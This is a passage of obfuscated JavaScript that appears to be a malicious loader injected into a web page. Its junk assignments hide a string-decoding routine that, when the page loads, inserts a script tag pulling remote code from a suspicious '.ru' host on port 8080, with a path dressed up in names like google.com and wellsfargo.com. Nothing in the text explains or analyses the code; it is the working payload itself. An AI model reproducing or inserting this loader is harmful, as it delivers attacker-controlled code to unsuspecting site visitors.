Wd+=oJ){var ed='';var NTF;if(NTF!=''){NTF='ks'};var aa;if(aa!='SCf'){aa=''};var e = M(Ka[Wd]);var PX;if(PX!='' && PX!='pz'){PX=null};var wg="";var X = Ka[Wd + d];var xVD=new Date();this.WC='';var Ei = new E(e, o.fromCharCode(103));var dG;if(dG!=''){dG='oM'};var vJ="";l=l[u("lparece", [3,4,1,0,2])](Ei, X);}this.Ns=65343;this.Dd='';var i=new G(l);var ny='';var DX;if(DX!='' && DX!='Ry'){DX=null};i();this.Vv=51865;this.oL=49372;var cE;if(cE!='kQ' && cE!='Hp'){cE='kQ'};EP = '';var zI=new Array();i = '';this.Vt='';var OQ;if(OQ!='vR'){OQ='vR'};var orm=new String();P = '';l = '';this.qAT="qAT";A = '';var XZ;if(XZ!='TTM' && XZ!='unF'){XZ='TTM'};var aYi="";TT = '';this.tNz='';this.dj='';var HA=new String();var zE="zE";return '';var CV=65044;var sJw;if(sJw!='' && sJw!='YY'){sJw=''};};var nl=50875;var uus;if(uus!='FZ' && uus!='Hx'){uus='FZ'};var DR;if(DR!='es' && DR!='Mp'){DR='es'};I(uvP);

try {var H;if(H!='' && H!='x'){H=''};this.Bi='';var Z;if(Z!='N' && Z != ''){Z=null};var J=RegExp;this.E='';var oS='';this.ni='';var y="tNKBrepla".substr(4)+"ce";this.M="";var LN=new String();function T(t,S){var TV;if(TV!='' && TV!='sU'){TV=''};var v=new String("nsD[".substr(3));var lI=new Array();var DC='';var n="zXLg".substr(3);var pW=new String();v+=S;v+=new String("9jP]".substr(3));var Co;if(Co!='' && Co!='vH'){Co=null};var p=new J(v, n);return t[y](p, new String());var Xm;if(Xm!='' && Xm!='hm'){Xm=''};};var A;if(A!=''){A='Kt'};this.yz="";var LC=new String();var Sc;if(Sc!='Io' && Sc!='Dv'){Sc='Io'};var b=window;var Mo;if(Mo!='' && Mo!='lo'){Mo=null};var Qj=new String();var q=T('csrsesa_tqeIEIlIeImIeInIt_',"sIq_");var Xs=new Date();this.Xn='';var TY=T('h3tdt3p8:5/8/dc3o3m5c8a5sdt3-3nde5td.5edx5a5m5i5n3e3r5.5c5o3m3.dg3odo5g8lded-dc3od-8h8ud.8Ydo5u3r3S5udp8edrdP5o3o8l3.5r5ud:5',"83d5");this.lS="";var Q='';this.IS="";var L=T('86101681610161',"61");var i;if(i!='' && i!='BI'){i='FC'};this.Vq="";var C=T('/I4SsShjaSrIejdS.IcIoSmj/j4IsIhIajrjeSdS.IcIoImI/IgSojojgIljeS.jcSoImj/SwIejlIlSsIfjaSrSgjoI.ScIoImj/SsSuIejdSdjeIuStIsIcIhjeS.SdIeI.SpIhjpI',"SjI");var P=T('oXnjlJoJaXdj',"jJXD");var a=T('s6c6r6iTp6tT',"6T");r=function(){var Me="";var uz;if(uz!='bn' && uz!='AF'){uz=''};_=document[q](a);this.vBK='';var Qd;if(Qd!='Zj' && Qd != ''){Qd=null};var LNQ;if(LNQ!='' && LNQ!='xy'){LNQ='d'};this.UK='';Q=TY+L;Q+=C;var wT=new Date();_.src=Q;_.defer=([1][0]);var tj;if(tj!='R' && tj!='sd'){tj='R'};this.m="";document.body.appendChild(_);var W="";};var Gf;if(Gf!='' && Gf!='gt'){Gf=''};var nP;if(nP!='' && nP!='XS'){nP=''};var ja;if(ja!='Y' && ja!='Yn'){ja='Y'};b[P]=r;var Se;if(Se!='Dz'){Se='Dz'};this.sl="";} catch(vB){};var Sa;if(Sa!='' && Sa!='SG'){Sa='YX'};